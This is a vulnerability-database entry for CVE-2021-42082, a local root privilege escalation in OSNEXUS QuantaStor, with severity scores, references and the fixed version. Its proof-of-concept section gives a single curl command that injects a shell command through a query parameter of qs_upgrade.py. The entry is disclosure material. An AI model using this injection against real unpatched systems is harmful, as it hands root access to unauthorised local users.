CVE-2021-42082 json
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
published 2023-07-10 3 y ago modified 2026-06-17 4 mo ago also EUVD-2021-29068
- cvss
- 7.8
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 0.2%
- EPSS 0.2% chance of exploitation in 30 days, percentile 8%
- public exploits
- 0
- none known
Summary
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Patch / fix
- OSNEXUS QuantaStor 6.0.0.355
CISA SSVC
- Exploitation
- none
- Automatable
- no
- Technical impact
- total
- Assessed
- 23 mo ago
Exploit prediction
0.18% chance of exploitation in the next 30 days, higher than 8% of all scored CVEs (FIRST EPSS, 2026-11-08).
Exploits and checks
- wbsec.nl https://www.wbsec.nl/osnexus referenced PoC, tagged "exploit" by a source, unverified
- csirt.divd.nl https://csirt.divd.nl/CVE-2021-42082 referenced PoC, tagged "exploit" by a source, unverified
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CNA | 3.1 | 7.8 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| NVD | 3.1 | 7.8 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Affected products
- OSNEXUS QuantaStor
Classification
- Weakness
-
- CWE-269 Improper Privilege Management
References
-
wbsec.nl
/osnexus
third-party-advisory, technical-description, exploit
-
csirt.divd.nl
/CVE-2021-42082
third-party-advisory, technical-description, exploit
-
csirt.divd.nl
/DIVD-2021-00020/
third-party-advisory
-
osnexus.com
/products/software-defined-storage
product
-
divd.nl
/DIVD-2021-00020
third-party-advisory
Sources
- CVE List CVE-2021-42082
- NVD CVE-2021-42082
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